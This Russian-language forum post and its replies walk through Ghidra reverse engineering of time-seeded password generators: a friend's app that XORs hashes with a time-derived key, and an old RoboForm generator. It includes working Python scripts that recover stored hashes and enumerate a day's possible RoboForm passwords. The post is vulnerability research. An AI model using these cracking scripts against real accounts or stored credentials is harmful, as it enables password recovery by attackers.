LIMB
Вход Регистрация

тема

История одного генератора.

new · · 7 ответов · 646 просмотров





Как 1 ошибка ставит под угрозу всю инфраструктуру.​


Не удалось прогрузить медиа


Примерно 4 дня назад мой друг(Назовем его Саша) закончил разработку важного веб приложения для закрытого круга лиц(к сожалению конкретнее сказать не могу).


Суть приложения - повышенная система защиты хранения паролей и взаимодействие с локальной сетью.

На радостях Саша закончив работу начал хвастать передо мной что его взяли в довольно крупный проект. Тогда я решил поспорить, что если он даст код то я найду там дыры. Сошлись на том что я получу экзешники без обфускации внутри(За что спасибо)

Спор был заключен на символические 1000 рублей. Саша немного изменив логику под работу с моей бд выслал мне файлы.





После тыканья нашел 2 интересных для себя файла с логикой сохранения данных в бд​


Не удалось прогрузить медиа

Это можно понять после классической strings.

Не удалось прогрузить медиа

Открыв гидру и начав копаться я ничего не нашел все кажется абсолютно нормальным да?

ИНТЕРЕСНАЯ ЧАСТЬ

C-like:
LAB_00102b2f:
    bVar11 = true;
    goto LAB_00102b34;
  }
  tVar5 = time((time_t *)0x0);
                    /* try { // try from 00102b83 to 00102b87 has its CatchHandler @ 00102ea5 */
  FUN_00104380(local_f8,tVar5,0x10);
                    /* try { // try from 00102b9f to 00102ba3 has its CatchHandler @ 00102ea0 */
  FUN_00103ba0(local_178,local_118);
                    /* try { // try from 00102bba to 00102bbe has its CatchHandler @ 00102eb4 */
  FUN_00103070(local_158,local_178,local_f8);
                    /* try { // try from 00102bc5 to 00102bc9 has its CatchHandler @ 00102eaf */
  FUN_00104520((string *)&local_78,tVar5);
                    /* try { // try from 00102bdd to 00102be1 has its CatchHandler @ 00102eb9 */
  FUN_00104000(local_b8,local_158);
                    /* try { // try from 00102bf1 to 00102bf5 has its CatchHandler @ 00102e9b */
  psVar6 = (string *)std::__cxx11::string::append(local_b8);
  std::__cxx11::string::string((string *)&local_98,psVar6);
  uVar8 = local_90 + local_70;
  if (local_98 == local_88) {
    if (0xf < uVar8) goto LAB_00102c45;

tVar5 = time((time_t *)0x0); Эта строка невольно заставила улыбнуться. Носители C подобных языков наверное улыбнулись вместе со мной.

ДЛЯ ТЕХ КТО НЕ ПОНЯЛ




Еще в +-2016 году исследователи поняли, что использовать время в качестве случайности для генерации чего либо совсем не безопасно.
Существует интересная история о хакере который помог восстановить утерянный пароль от криптокошелька как раз из за этой уязвимости.

Суть в том, что при переборе сгенерированного текста на основе времени и зная ключ который используется нам нужно подобрать совсем небольшое количество комбинаций.

Продолжив копать

Не удалось прогрузить медиа

Нашел реализацию шифрования.
Code:
long * FUN_00104380(long *param_1,ulong param_2,long param_3)

{
  undefined1 uVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  ulong uVar5;
  ulong uVar6;
  ulong *puVar7;
  long *local_13e8;
  long local_13e0;
  long local_13d8 [2];
  ulong local_13c8;
  ulong local_13c0 [623];
  undefined8 local_48;
 
  local_13c8 = param_2 & 0xffffffff;
  lVar4 = 1;
  uVar5 = local_13c8;
  puVar7 = local_13c0;
  do {
    uVar5 = (ulong)(((uint)(uVar5 >> 0x1e) ^ (uint)uVar5) * 0x6c078965 + (int)lVar4);
    lVar4 = lVar4 + 1;
    *puVar7 = uVar5;
    puVar7 = puVar7 + 1;
  } while (lVar4 != 0x270);
  local_48 = 0x270;
  lVar4 = 0;
  local_13e8 = local_13d8;
  FUN_00102fc0(&local_13e8,"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
  *param_1 = (long)(param_1 + 2);
  param_1[1] = 0;
  *(undefined1 *)(param_1 + 2) = 0;
  if (param_3 != 0) {
    do {
      lVar3 = FUN_001042a0(&local_13c8,0,local_13e0 + -1);
      uVar5 = param_1[1];
      lVar2 = *param_1;
      if (param_1 + 2 == (long *)lVar2) {
        uVar6 = 0xf;
      }
      else {
        uVar6 = param_1[2];
      }
      uVar1 = *(undefined1 *)((long)local_13e8 + lVar3);
      if (uVar6 < uVar5 + 1) {
                    /* try { // try from 001044ba to 001044be has its CatchHandler @ 00104516 */
        std::__cxx11::string::_M_mutate((ulong)param_1,uVar5,(char *)0x0,0);
        lVar2 = *param_1;
      }
      *(undefined1 *)(lVar2 + uVar5) = uVar1;
      lVar4 = lVar4 + 1;
      param_1[1] = uVar5 + 1;
      *(undefined1 *)(*param_1 + 1 + uVar5) = 0;
    } while (param_3 != lVar4);
  }
  if (local_13e8 != local_13d8) {
    operator.delete(local_13e8,local_13d8[0] + 1);
  }
  return param_1;
}

Как мы помним tvar5 это unix метка времени что и делает алгоритм уязвимым к перебору.

БИНГО! Скажете вы.

Но мы до сих пор не знаем полного алгоритма и его работы.
Для того что бы разобраться в этом мне пришлось провести еще несколько часов в ассемблере. Что бы не забивать статью опишу выводы.

ИТОГ РЕВЕРСА




1) Файл Cypt является не просто алгоритмом шифрования но и записывает данные подключаясь к бд извлекая данные из переменных окружения.
Он принимает уже готовый хэш пароля SHA256, берет метку времени превращая в сид и генерирует из нее ключ. Затем этим ключом на удивление просто ксорится хэш : / 
2) Данные ложатся в бд как финальное значение:сид. Чему я был потрясен.
3) Файл Verify по итогу оказывается нам особо не интересен. Он проверяет все обратным алгоритмом(расшифровка) и возвращает либо ОК либо ничего, как и файл шифрования.

после чего я решил провести несколько тестов и проверить догадки.
Не удалось прогрузить медиа

Глядя на данные можно легко восстановить скрипт для проверки логики, что я и делаю
Python:
import sys

ALPHABET = ("abcdefghijklmnopqrstuvwxyz"
            "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
            "0123456789")


class MT19937:
    N = 624
    M = 397
    MATRIX_A   = 0x9908b0df
    UPPER_MASK = 0x80000000
    LOWER_MASK = 0x7fffffff

    def __init__(self, seed: int):
        self.mt = [0] * self.N
        self.mt[0] = seed & 0xffffffff
        for i in range(1, self.N):
            self.mt[i] = (1812433253 * (self.mt[i-1] ^ (self.mt[i-1] >> 30)) + i) & 0xffffffff
        self.index = self.N

    def _generate(self):
        for i in range(self.N):
            y = (self.mt[i] & self.UPPER_MASK) | (self.mt[(i+1) % self.N] & self.LOWER_MASK)
            self.mt[i] = self.mt[(i + self.M) % self.N] ^ (y >> 1)
            if y & 1:
                self.mt[i] ^= self.MATRIX_A
        self.index = 0

    def next_uint32(self) -> int:
        if self.index >= self.N:
            self._generate()
        y = self.mt[self.index]
        self.index += 1
        # tempering
        y ^= (y >> 11)
        y ^= (y << 7) & 0x9d2c5680
        y ^= (y << 15) & 0xefc60000
        y ^= (y >> 18)
        return y & 0xffffffff


def uniform_int_distribution(gen: MT19937, a: int, b: int) -> int:
    urng_min = 0
    urng_max = 0xffffffff
    urng_range = urng_max - urng_min

    range_size = b - a + 1

    scaling = urng_range // range_size
    past = scaling * range_size

    while True:
        x = gen.next_uint32()
        if x <= past:
            return a + (x // scaling)
def weak_key(seed: int, length: int = 16) -> str:
    gen = MT19937(seed & 0xffffffff)
    key = []
    for _ in range(length):
        idx = uniform_int_distribution(gen, 0, len(ALPHABET) - 1)
        key.append(ALPHABET[idx])
    return ''.join(key)


def xor_crypt(data: bytes, key: str) -> bytes:
    kb = key.encode()
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
def main():
    if len(sys.argv) != 2:
        print(f"usage: {sys.argv[0]} '<hex>:<seed>'", file=sys.stderr)
        sys.exit(2)

    token = sys.argv[1]
    if ':' not in token:
        print("token must be '<hex>:<seed>'", file=sys.stderr)
        sys.exit(2)

    enc_hex, seed_str = token.split(':', 1)
    seed = int(seed_str)
    enc = bytes.fromhex(enc_hex)

    key = weak_key(seed)
    recovered = xor_crypt(enc, key)
    print(f"SHA256 хэш = {recovered.hex()}")


if __name__ == "__main__":
    main()
Не удалось прогрузить медиа


И вот мы воссоздали процесс взяв алфавит и помощь с интернета.

Итог


1) Получив доступ к 1 лишь файлу crypt злоумышленник  смог бы пытаться восстановить алгоритм и перебрать пароль. В данном случае безопасность повышает обфускация и запутывающий фактор в виде сида, который злоумышленник может принять за соль. Что не верно.
2) Я заработал 1 000 рублей и ухмылку с которой по сей день брожу вокруг Сашки. Как оказалось часть кода он дернул со Stack Overflow за что и поплатился. Так как нужно отдать должное кодер он совсем не слабый.
3) Данный вектор остается открытым по сей день и бог знает сколько систем и приложений подвержены данной уязвимости.
Что бы рандом был действительно РАНДОМОМ нужно использовать std::random_device либо же вызовы системных апи.

На этом у меня все. Надеюсь тебе читатель было интересно ознакомиться с данным вектором. Не воруй код без проверки и пусть ошибки сегментации тебя не тревожат.



ДОПОЛНЕНИЕ


Раз уж я поднял тему с уязвимыми генераторами паролей, то предлагаю взглянуть поближе на 1 из таких. Тот самый с которым связана история помощи хакером простому человеку.

Уязвимость поднималась на Def con 2024 года

RoboForm

Мы разберем старую версию, посмотрим изнутри на уязвимый код, видоизменим метод взлома и воссоздадим логику приложения.
Не удалось прогрузить медиа

Так выглядит сам генератор при запуске в нормальной среде.
Не удалось прогрузить медиа

И так при вынесении в другую директорию.



Просмотрев сам exeшник можно убедиться в зависимости от dll и увидеть вызов уязвимой функции.
Не удалось прогрузить медиа

И находим место вызова по строкам.
C-like:
/* WARNING: Function: __alloca_probe replaced with injection: alloca_probe */

undefined4 FUN_00401000(undefined4 param_1,undefined4 param_2,wchar_t *param_3,int param_4)

{
  DWORD DVar1;
  undefined4 uVar2;
  WCHAR local_3008 [4096];
  WCHAR local_1008 [2048];
  DWORD local_8;[/SIZE][/FONT][/SIZE][/FONT][/SIZE][/FONT]
 
[FONT=Inter][SIZE=4][FONT=Inter][SIZE=4][FONT=Inter][SIZE=4]  local_8 = 0x40100d;
  local_8 = OleInitialize((LPVOID)0x0);
  if ((int)local_8 < 0) {
    local_3008[0] = L'\0';
    wsprintfW(local_3008,L"OleInitialize error: %08x",local_8);
    local_1008[0] = L'\0';
    DVar1 = FormatMessageW(0x10ff,(LPCVOID)0x0,local_8,0,local_1008,0,(va_list *)0x0);
    if (DVar1 != 0) {
      local_1008[0] = L'\0';
      lstrcatW(local_3008,L"\n");
      lstrcatW(local_3008,local_1008);
    }
    MessageBoxW((HWND)0x0,local_3008,L"RoboForm Error",0);
    uVar2 = 1;
  }
  else {
    RunPassGen(param_4,param_3);
    OleUninitialize();
    uVar2 = 0;
  }
  return uVar2;
}

Можно заметить немного странную структуру

RunPassGen вызывается и при ошибке OLE. Гидра неправильно воссоздала код.
Посмотрев на ассемблерный код можно легко понять реальную структуру. Но это и не так важно.

Code:
        00401018 83 7d fc 00     CMP        dword ptr [EBP + local_8],0x0
        0040101c 0f 8d b4        JGE        LAB_004010d6
                 00 00 00
        00401022 b8 02 00        MOV        EAX,0x2
                 00 00
        00401027 6b c0 00        IMUL       EAX,EAX,0x0
        0040102a 33 c9           XOR        ECX,ECX
        0040102c 66 89 8c        MOV        word ptr [EBP + EAX*0x1 + 0xffffcffc],CX
                 05 fc cf
                 ff ff
        00401034 8b 55 fc        MOV        EDX,dword ptr [EBP + local_8]
        00401037 52              PUSH       EDX
        00401038 68 fc 81        PUSH       u_OleInitialize_error:_%08x_004081fc             = u"OleInitialize error: %08x"
                 40 00
        0040103d 8d 85 fc        LEA        EAX=>local_3008,[EBP + 0xffffcffc]
                 cf ff ff
        00401043 50              PUSH       EAX
        00401044 ff 15 10        CALL       dword ptr [->USER32.DLL::wsprintfW]              = 0000c44c
                 81 40 00
        0040104a 83 c4 0c        ADD        ESP,0xc
        0040104d b9 02 00        MOV        ECX,0x2
                 00 00
        00401052 6b c9 00        IMUL       ECX,ECX,0x0
        00401055 33 d2           XOR        EDX,EDX
        00401057 66 89 94        MOV        word ptr [EBP + ECX*0x1 + 0xffffeffc],DX
                 0d fc ef
                 ff ff
        0040105f 6a 00           PUSH       0x0
        00401061 6a 00           PUSH       0x0
        00401063 8d 85 fc        LEA        EAX=>local_1008,[EBP + 0xffffeffc]
                 ef ff ff
        00401069 50              PUSH       EAX
        0040106a 6a 00           PUSH       0x0
        0040106c 8b 4d fc        MOV        ECX,dword ptr [EBP + local_8]
        0040106f 51              PUSH       ECX
        00401070 6a 00           PUSH       0x0
        00401072 68 ff 10        PUSH       0x10ff
                 00 00
        00401077 ff 15 24        CALL       dword ptr [->KERNEL32.DLL::FormatMessageW]       = 0000c4d4
                 80 40 00
        0040107d 85 c0           TEST       EAX,EAX
        0040107f 74 38           JZ         LAB_004010b9
        00401081 ba 02 00        MOV        EDX,0x2
                 00 00
        00401086 6b d2 00        IMUL       EDX,EDX,0x0
        00401089 33 c0           XOR        EAX,EAX
        0040108b 66 89 84        MOV        word ptr [EBP + EDX*0x1 + 0xffffeffc],AX
                 15 fc ef
                 ff ff
        00401093 68 30 82        PUSH       DAT_00408230                                     = 0Ah
                 40 00
        00401098 8d 8d fc        LEA        ECX=>local_3008,[EBP + 0xffffcffc]
                 cf ff ff
        0040109e 51              PUSH       ECX
        0040109f ff 15 28        CALL       dword ptr [->KERNEL32.DLL::lstrcatW]             = 0000c4e6
                 80 40 00
        004010a5 8d 95 fc        LEA        EDX=>local_1008,[EBP + 0xffffeffc]
                 ef ff ff
        004010ab 52              PUSH       EDX
        004010ac 8d 85 fc        LEA        EAX=>local_3008,[EBP + 0xffffcffc]
                 cf ff ff
        004010b2 50              PUSH       EAX
        004010b3 ff 15 28        CALL       dword ptr [->KERNEL32.DLL::lstrcatW]             = 0000c4e6
                 80 40 00
                             LAB_004010b9                                    XREF[1]:     0040107f(j) 
        004010b9 6a 00           PUSH       0x0
        004010bb 68 34 82        PUSH       u_RoboForm_Error_00408234                        = u"RoboForm Error"
                 40 00
        004010c0 8d 8d fc        LEA        ECX=>local_3008,[EBP + 0xffffcffc]
                 cf ff ff
        004010c6 51              PUSH       ECX
        004010c7 6a 00           PUSH       0x0
        004010c9 ff 15 0c        CALL       dword ptr [->USER32.DLL::MessageBoxW]            = 0000c458
                 81 40 00
        004010cf b8 01 00        MOV        EAX,0x1
                 00 00
        004010d4 eb 19           JMP        LAB_004010ef
                             LAB_004010d6                                    XREF[1]:     0040101c(j) 
        004010d6 8b 55 10        MOV        EDX,dword ptr [EBP + param_3]
        004010d9 52              PUSH       EDX
        004010da 8b 45 14        MOV        EAX,dword ptr [EBP + param_4]
        004010dd 50              PUSH       EAX
        004010de ff 15 04        CALL       dword ptr [->ROBOFORM.DLL::RunPassGen]           = 0000c538
                 81 40 00
        004010e4 83 c4 08        ADD        ESP,0x8
        004010e7 ff 15 1c        CALL       dword ptr [->OLE32.DLL::OleUninitialize]         = 0000c482
                 81 40 00
        004010ed 33 c0           XOR        EAX,EAX
                             LAB_004010ef                                    XREF[1]:     004010d4(j) 
        004010ef 8b e5           MOV        ESP,EBP
        004010f1 5d              POP        EBP
        004010f2 c2 10 00        RET        0x10
        004010f5 e9 b2 01        JMP        FID_conflict:_free                               void FID_conflict:_free(void * _
                 00 00
                             -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
        004010fa cc              INT3


РАЗБОР DLL


Не удалось прогрузить медиа

Немного покопавшись в гидре можем найти ядро генератора.
И желанные нами функции
C-like:
_Var6 = __time64((__time64_t *)0x0);
uStack_434 = (undefined4)((ulonglong)_Var6 >> 0x20);
FUN_107a89a6((int)_Var6 - _DAT_10cef548, uVar7, uVar2);
_DAT_10cef548 = _DAT_10cef548 + -0xe3a78;
Ниже приведен код для тех, кто хочет ознакомиться ближе
Code:
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void __thiscall FUN_105e5390(int *param_1,int *param_2,int param_3,int param_4)

{
  short sVar1;
  uint uVar2;
  int iVar3;
  uint uVar4;
  short *psVar5;
  __time64_t _Var6;
  undefined4 uVar7;
  char *pcVar8;
  undefined1 auStack_454 [4];
  int local_450;
  int local_44c;
  int local_448;
  int local_444;
  int local_440;
  int local_43c;
  int local_438;
  undefined4 local_434;
  undefined4 local_430;
  int *local_42c;
  short local_428 [518];
  uint local_1c;
  void *local_14;
  undefined1 *puStack_10;
  undefined4 local_c;
 
  puStack_10 = &LAB_108d0ea2;
  local_14 = ExceptionList;
  local_1c = DAT_10cdbcf4 ^ (uint)auStack_454;
  uVar2 = DAT_10cdbcf4 ^ (uint)&stack0xfffffba0;
  ExceptionList = &local_14;
  local_c = 0;
  uVar7 = 0;
  local_42c = param_2;
  local_430 = 0;
  _Var6 = __time64((__time64_t *)0x0);
  local_434 = (undefined4)((ulonglong)_Var6 >> 0x20);
  FUN_107a89a6((int)_Var6 - _DAT_10cef548,uVar7,uVar2);
  _DAT_10cef548 = _DAT_10cef548 + -0xe3a78;
  if ((param_1[1] < 1) || (0x3f < param_1[1])) {
    FUN_10584ea0(".\\portable\\sib-password-gen.cpp",0x2f,0,0,1);
  }
  if (0x200 < param_3) {
    param_3 = 0x200;
  }
  local_43c = FUN_105847c0();
  local_43c = local_43c + 0x14;
  local_c = 2;
  local_448 = FUN_105847c0();
  local_448 = local_448 + 0x14;
  local_c._0_1_ = 4;
  local_44c = FUN_105847c0();
  local_44c = local_44c + 0x14;
  local_c._0_1_ = 6;
  local_438 = FUN_105847c0();
  local_438 = local_438 + 0x14;
  local_c = CONCAT31(local_c._1_3_,8);
  iVar3 = FUN_105e5260(0x20);
  if (iVar3 == 0) {
    FID_conflict:operator=("ABCDEFGHIJKLMNOPQRSTUVWXYZ");
    FID_conflict:operator=("abcdefghijklmnopqrstuvwxyz");
    FID_conflict:operator=("0123456789");
    pcVar8 = "0123456789ABCDEF";
  }
  else {
    FID_conflict:operator=("ABCDEFGHJKLMNPQRSTUVWXYZ");
    FID_conflict:operator=("abcdefghijkmnopqrstuvwxyz");
    FID_conflict:operator=("23456789");
    pcVar8 = "23456789ABCDEF";
  }
  FID_conflict:operator=(pcVar8);
  local_450 = FUN_105847c0();
  local_450 = local_450 + 0x14;
  local_c = CONCAT31(local_c._1_3_,10);
  iVar3 = FUN_105e5260(1);
  if (iVar3 != 0) {
    FUN_10009040(local_43c,*(undefined4 *)(local_43c + -0x14));
  }
  iVar3 = FUN_105e5260(2);
  if (iVar3 != 0) {
    FUN_10009040(local_448,*(undefined4 *)(local_448 + -0x14));
  }
  iVar3 = FUN_105e5260(4);
  if (iVar3 != 0) {
    FUN_10009040(local_44c,*(undefined4 *)(local_44c + -0x14));
  }
  iVar3 = FUN_105e5260(8);
  if (iVar3 != 0) {
    FUN_10009040(*param_1,*(undefined4 *)(*param_1 + -0x14));
  }
  iVar3 = FUN_105e5260(0x10);
  if (iVar3 != 0) {
    FUN_10001b30(&local_438);
  }
  uVar2 = param_3 + 1;
  if (0 < (int)uVar2) {
    psVar5 = local_428;
    for (uVar4 = uVar2 >> 1; uVar4 != 0; uVar4 = uVar4 - 1) {
      psVar5[0] = 0;
      psVar5[1] = 0;
      psVar5 = psVar5 + 2;
    }
    for (uVar2 = (uint)((uVar2 & 1) != 0); uVar2 != 0; uVar2 = uVar2 - 1) {
      *psVar5 = 0;
      psVar5 = psVar5 + 1;
    }
  }
  if (param_3 < param_4) {
    param_4 = param_3;
  }
  local_444 = param_4;
  if (param_4 < 0) {
    local_444 = 0;
  }
  iVar3 = local_444;
  local_440 = param_3;
  if (0 < local_444) {
    do {
      FUN_105e52d0(local_428,&local_440,4,&local_44c,param_3);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
  }
  if (*(int *)(*param_1 + -0x14) != 0) {
    FUN_105e52d0(local_428,&local_440,8,param_1,param_3);
  }
  FUN_105e52d0(local_428,&local_440,1,&local_43c,param_3);
  FUN_105e52d0(local_428,&local_440,2,&local_448,param_3);
  if (local_444 == 0) {
    FUN_105e52d0(local_428,&local_440,4,&local_44c,param_3);
  }
  iVar3 = 0;
  if (0 < param_3) {
    do {
      if (local_428[iVar3] == 0) {
        sVar1 = FUN_105e5280(&local_450);
        local_428[iVar3] = sVar1;
      }
      iVar3 = iVar3 + 1;
    } while (iVar3 < param_3);
  }
  iVar3 = FUN_105847c0();
  *local_42c = iVar3 + 0x14;
  local_c._0_1_ = 0xb;
  uVar7 = FUN_10001c10(local_428);
  FUN_10001dd0(local_428,uVar7);
  local_430 = 1;
  local_c._0_1_ = 8;
  FUN_10584890();
  local_c._0_1_ = 6;
  FUN_10584890();
  local_c._0_1_ = 4;
  FUN_10584890();
  local_c = CONCAT31(local_c._1_3_,2);
  FUN_10584890();
  local_c = 0;
  FUN_10584890();
  ExceptionList = local_14;
  __security_check_cookie(local_1c ^ (uint)auStack_454);
  return;
}

ВОССТАНОВЛЕНИЕ ЛОГИКИ И ХАК

Вот мы и подобрались к самой интересной части. Разбор и воспроизведение алгоритма.

Идея: пробрутить все варианты пароля за сегодняшний день и сохранить в файл для последующего перебора.
Это всего лишь 86400 вариантов.

Сам код:
Python:
import time
import datetime
import os
import sys


class roboform:
    seed = None
    seed_mod = None
    pass_length = None
    pass_length_ctr = None
    min_digits = None
    config = None
    password = None

    charset = {
        "upper": "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
        "upper_similar": "ABCDEFGHJKLMNPQRSTUVWXYZ",
        "lower": "abcdefghijklmnopqrstuvwxyz",
        "lower_similar": "abcdefghijkmnopqrstuvwxyz",
        "digit": "0123456789",
        "digit_similar": "23456789",
        "hex": "0123456789ABCDEF",
        "hex_similar": "23456789ABCDEF",
        "special": "!@#$%^&*"
    }
    charset_full = None

    def __init__(
        self,
        pass_length=8,
        chr_upper=True,
        chr_lower=True,
        chr_digits=True,
        chr_specials="!@#$%^&*",
        chr_similar=False,
        min_digits=1,
    ):
        self.seed_mod = 0

        if pass_length > 0x200:
            pass_length = 0x200
        self.pass_length = pass_length

        self.config = 0
        if chr_upper:
            self.config |= 0x01
        if chr_lower:
            self.config |= 0x02
        if chr_digits:
            self.config |= 0x04
        if chr_specials:
            self.config |= 0x08
        if chr_similar:
            self.config |= 0x20

        self.charset_full = ""
        if self.config & 0x01:
            if self.config & 0x20:
                self.charset_full += self.charset["upper_similar"]
            else:
                self.charset_full += self.charset["upper"]

        if self.config & 0x02:
            if self.config & 0x20:
                self.charset_full += self.charset["lower_similar"]
            else:
                self.charset_full += self.charset["lower"]

        if self.config & 0x04:
            if self.config & 0x20:
                self.charset_full += self.charset["digit_similar"]
            else:
                self.charset_full += self.charset["digit"]

        if self.config & 0x08:
            self.charset["special"] = chr_specials
            self.charset_full += self.charset["special"]

        if self.config & 0x10:
            if self.config & 0x20:
                self.charset_full = self.charset["hex_similar"]
            else:
                self.charset_full = self.charset["hex"]

        self.min_digits = min_digits

    def __del__(self):
        pass

    def srand(self, seed):
        self.seed = seed

    def rand(self):
        self.seed = ((0x000343FD * self.seed) + 0x00269EC3) & 0xFFFFFFFF
        return (self.seed >> 0x10) & 0x7FFF

    def rand_range(self, range):
        return (self.rand() * range) // 0x8000

    def rand_char(self, charset):
        return ord(charset[self.rand_range(len(charset))])

    def generate_character(self, flag, charset):
        if self.pass_length_ctr == 0:
            return
        if not (self.config & flag):
            return
        while True:
            idx = self.rand_range(self.pass_length)
            if self.password[idx] == 0:
                break
        self.password[idx] = self.rand_char(charset)
        self.pass_length_ctr -= 1

    def generate(self, time_seed):
        self.srand(time_seed - self.seed_mod)
        self.seed_mod -= 0x000E3A78

        self.password = bytearray(self.pass_length)
        self.pass_length_ctr = self.pass_length

        for i in range(self.min_digits):
            self.generate_character(0x04, self.charset["digit"])

        if len(self.charset["special"]):
            self.generate_character(0x08, self.charset["special"])

        self.generate_character(0x01, self.charset["upper"])
        self.generate_character(0x02, self.charset["lower"])

        if self.min_digits == 0:
            self.generate_character(0x04, self.charset["digit"])

        for i in range(self.pass_length):
            if self.password[i]:
                continue
            self.password[i] = self.rand_char(self.charset_full)

        return self.password.decode("utf-8")


#Настройки
PASS_LENGTH = 10
CHR_UPPER = True
CHR_LOWER = True
CHR_DIGITS = True
CHR_SPECIALS = ""
CHR_SIMILAR = False
MIN_DIGITS = 1


def make_rf():
    return roboform(
        pass_length=PASS_LENGTH,
        chr_upper=CHR_UPPER,
        chr_lower=CHR_LOWER,
        chr_digits=CHR_DIGITS,
        chr_specials=CHR_SPECIALS,
        chr_similar=CHR_SIMILAR,
        min_digits=MIN_DIGITS,
    )

def build_day_passwords(day_date, out_file="passwords.txt"):

    start = datetime.datetime(day_date.year, day_date.month, day_date.day, 0, 0, 0)
    end = start + datetime.timedelta(days=1)
    start_ts = int(time.mktime(start.timetuple()))
    end_ts = int(time.mktime(end.timetuple()))

    total = end_ts - start_ts
    print(f"Перебор дня {day_date} — {total} секунд")
    print(f"Диапазон timestamp: {start_ts} .. {end_ts - 1}")
    print(f"Сохранение в: {out_file}")
    print()

    start_time = time.time()
    with open(out_file, "w", encoding="utf-8") as f:
        for i, ts in enumerate(range(start_ts, end_ts)):
            rf = make_rf()
            pwd = rf.generate(ts)
            f.write(f"{ts}\t{pwd}\n")

            if i % 5000 == 0 and i > 0:
                elapsed = time.time() - start_time
                speed = i / elapsed if elapsed > 0 else 0
                remaining = (total - i) / speed if speed > 0 else 0
                print(f"  {i}/{total}  ({speed:.0f} пар/сек, осталось ~{remaining:.0f} сек)")

    elapsed = time.time() - start_time
    print()
    print(f"Сгенерировано {total} паролей за {elapsed:.1f} сек.")
    print(f"Файл: {os.path.abspath(out_file)}")

def find_password(target, in_file="passwords.txt"):
    target = target.strip()
    if not target:
        print("Пустой пароль, поиск отменён.")
        return None

    print(f"Ищу пароль: {target}")
    print()

    if not os.path.exists(in_file):
        print(f"Файл не найден. Сначала выполните перебор")
        return None

    found = []
    with open(in_file, "r", encoding="utf-8") as f:
        for line in f:
            line = line.rstrip("\n")
            if not line:
                continue
            ts_str, _, pwd = line.partition("\t")
            if pwd == target:
                found.append(int(ts_str))

    if found:
        print("СОВПАДЕНИЕ НАЙДЕНО")
        for ts in found:
            dt_local = datetime.datetime.fromtimestamp(ts)
            dt_utc = datetime.datetime.fromtimestamp(ts, datetime.UTC)
            print(f"  timestamp : {ts}")
            print(f"  local     : {dt_local}")
            print(f"  UTC       : {dt_utc}")
            print(f"  пароль    : {target}")
        return found[0]
    else:
        print("СОВПАДЕНИЙ НЕ НАЙДЕНО")
        return None

def main():
    today = datetime.date.today()
    out_file = "passwords.txt"

    if os.path.exists(out_file):
        print(f"Файл уже существует.")
        choice = input("Пересобрать заново? (y/n): ").strip().lower()
        if choice != "y":
            print("Использую существующий файл")
        else:
            build_day_passwords(today, out_file)
    else:
        build_day_passwords(today, out_file)

    print()
    print("ВВЕДИТЕ ПАРОЛЬ ОТ ROBOFORM")

    try:
        target = input("Пароль: ").strip()
    except (EOFError, KeyboardInterrupt):
        print("\nВвод прерван.")
        return

    if not target:
        print("Пустой ввод — поиск отменён.")
        return

    print()
    find_password(target, out_file)


if __name__ == "__main__":
    main()


И что получаем в итоге?



Не удалось прогрузить медиа

Теперь запустим RoboForm и проверим получилось ли нам воссоздать логику.
Не удалось прогрузить медиа


Как мы видим все отлично работает.


Казалось бы все? Мы разгадали логику. Что еще остается?
Но всегда есть изъян.
Если я нажму "Генерировать"

То подобрать пароль уже не представится возможным.
Не удалось прогрузить медиа



Все из за моей ошибки. Я не учел, что при генерации пароля так же присутствует счетчик нажатий, который тоже принимает участие в генерации пароля.
Но дабы не растягивать статью оставлю скрипт в таком виде. Кому надо, в статье есть все что нужно для этого небольшого фикса.

Спасибо всем кто читал. Надеюсь вам было не скучно. Хотелось бы получить от вас реакций за разбор и до новых встреч.:)
👍31 😮4 👏6 🤔4 😢7
Ответnew

Как 1 ошибка ставит под угрозу всю инфраструктуру. ​ Не удалось прогрузить медиа Примерно 4 дня назад мой друг(Назовем его Саша) закончил разработку важного веб приложения для закрытого круга лиц (к сожалению конкретнее…

Вопрос к твоему дополнению откуда ты взял "0x000E3A78", "FUN_105e5390","0x000E3A78". 

Ты пользовался наработками от другого автора? https://grandideastudio.com/media/roboform_notes.pdf
👍4 ❤️1
Сначала я пробовал искать по цепочке от функции но особого результата это не дало. Тогда начал читать про подобного рода уязвимости. Узнал, что зачастую используется словарь. Думаю не нужно объяснять, как дальше я нашел функцию генератора)
Ответcybergangster

Вопрос к твоему дополнению откуда ты взял "0x000E3A78", "FUN_105e5390","0x000E3A78". Ты пользовался наработками от другого автора? https://grandideastudio.com/media/roboform_notes.pdf

И в моем дополнении не фигурируют или я не вижу 0x000E3A78(ты написал 2 раза но я вообще не понял что за адреса). А что касается материала https://grandideastudio.com/media/roboform_notes.pdf прочитал только что и техники принципиально разные. В моем материале используется исключительно ghidra и самописная попытка восстановить скрипт генерации в отличии от демонстрации в roboform_notes.pdf где активно используется отладчик.
👍4 ❤️1
Ответnew

И в моем дополнении не фигурируют или я не вижу 0x000E3A78(ты написал 2 раза но я вообще не понял что за адреса). А что касается материала https://grandideastudio.com/media/roboform_notes.pdf прочитал только что и…

Не удалось прогрузить медиа
👍2
Ответcybergangster

Не удалось прогрузить медиа

FUN_107a89a6((int)_Var6 - _DAT_10cef548,uVar7,uVar2);
_DAT_10cef548 = _DAT_10cef548 + -0xe3a78;
Видно в самом коде.
👍2
Ответnew

FUN_107a89a6((int)_Var6 - _DAT_10cef548,uVar7,uVar2); _DAT_10cef548 = _DAT_10cef548 + -0xe3a78; Видно в самом коде.

зачем ломать то что уже ломали в 2024? Уязвимость такая же
👍2
Ответcybergangster

зачем ломать то что уже ломали в 2024? Уязвимость такая же

Я как раз таки и решил раскрыть другой подход к ее исследованию. Руководствуясь твоей логикой 50% если не больше статей форума бесполезны
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.